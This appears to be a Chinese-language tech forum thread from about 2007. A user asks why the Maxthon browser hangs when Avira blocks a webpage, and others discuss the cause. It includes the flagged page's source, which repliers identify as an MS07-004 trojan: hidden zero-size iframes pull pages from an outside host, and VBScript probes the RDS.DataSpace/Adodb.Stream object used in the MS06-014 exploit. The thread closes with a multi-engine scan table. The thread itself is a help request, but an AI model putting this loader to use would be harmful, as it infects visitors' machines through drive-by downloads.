大家用红伞监控网页出过问题吗？

sunwinds

今天已经是第二次了，只要红伞认为网页上面有病毒，点击放到隔离区，或者拒绝执行后，maxthon就假死了，只能在任务管理器中把maxthon给结束。

大家出过类似的问题吗？

saga3721

我不会啊，不管多少毒怎么阻止运行都没事，微点红伞接连跳出来也没事

曲中求

我的也不会，一切正常。

红伞P版+傲游2.0.3.4643

saga3721

我用1.6.2(build 60)的

假死是遨游的问题，还有就是毒太多虚拟内存不够了这会假死。你好像是因为前者的缘故。

baerzake

有过一次红伞不停报警,最后假死,等了半天才缓过来

曲中求

1.X的傲游假死是出了名的，不知LZ所用版本是？

sunwinds

我用的maxthon是1.6.2(build 60)的版本，红伞P版最新病毒库，开的高启。

隔离区里面显示是“HEUR/Exploit.html”类似的病毒，于是上网搜。发现两个类似问题的：
http://221.169.193.115/discuz/thread-3495-1-1.html
http://www.kpfans.com/bbs/viewthread.php?tid=118855&extra=&page=1
http://forum.avira.de/thread.php?threadid=23780（这个是红伞官网的，英文看不懂）

后来我把这个文件还原出来，是一个HTML文件，双击了一下，是一个流量统计的网页。再用记事本打开看它的源代码，没发现什么东西。引用里面的是那个HTML的源代码。附件里面是那个HMTL文件，大家试一下。

<SCRIPT language=javascript>
function create_07004()
{
document.write("<iframe width=0 height=0 src=http://www.95down.cn/IENoRun.htm frameborder=0></iframe>");
document.write("<iframe width=0 height=0 src=http://www.95down.cn/07004.htm frameborder=0></iframe>");
}
function do_07004()
{
var cookieString = document.cookie;
var start = cookieString.indexOf("ms07004=");
if (start == -1)
{
  //alert("a");
var expires = new Date();
expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
document.cookie = "ms07004=ms_07004;expires=" + expires.toGMTString();
setTimeout("create_07004()",8000);
}
}
</SCRIPT>
<script language=VBScript>
on error resume next
set     server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
do_07004()
else
document.write("<iframe src=http://www.95down.cn/06014.htm width=0 height=0 scrolling=no frameborder=0>")
end if
</script>
<script language="javascript" src="http://count42.51yes.com/click.aspx?id=425491114&logo=12"></script>

ykz1991

指向的网站源码加密
等jimmyleo吧

mofunzone

明显是个ms07004木马。。
自己google就知道了

sunwinds

把这个压缩包上传到多杀毒引擎网站上面，也就红伞报病毒，别的都没报
已经传到跟红伞发误报了，不知道会怎么回复。

反病毒引擎	版本	最后更新	扫描结果
AhnLab-V3	2007.9.8.0	2007.09.07	-
AntiVir	7.6.0.5	2007.09.09	HEUR/Exploit.HTML
Authentium	4.93.8	2007.09.09	-
Avast	4.7.1043.0	2007.09.08	-
AVG	7.5.0.485	2007.09.09	-
BitDefender	7.2	2007.09.10	-
CAT-QuickHeal	9.00	2007.09.08	-
ClamAV	0.91.2	2007.09.10	-
DrWeb	4.33	2007.09.09	-
eSafe	7.0.15.0	2007.09.04	-
eTrust-Vet	31.1.5119	2007.09.08	-
Ewido	4.0	2007.09.09	-
FileAdvisor	1	2007.09.10	-
Fortinet	3.11.0.0	2007.09.08	-
F-Prot	4.3.2.48	2007.09.09	-
F-Secure	6.70.13030.0	2007.09.10	-
Ikarus	T3.1.1.12	2007.09.10	-
Kaspersky	4.0.2.24	2007.09.10	-
McAfee	5115	2007.09.07	-
Microsoft	1.2803	2007.09.09	-
NOD32v2	2517	2007.09.10	-
Norman	5.80.02	2007.09.07	-
Panda	9.0.0.4	2007.09.09	-
Prevx1	V2	2007.09.10	-
Rising	19.40.00.00	2007.09.10	-
Sophos	4.21.0	2007.09.10	-
Sunbelt	2.2.907.0	2007.09.07	-
Symantec	10	2007.09.10	-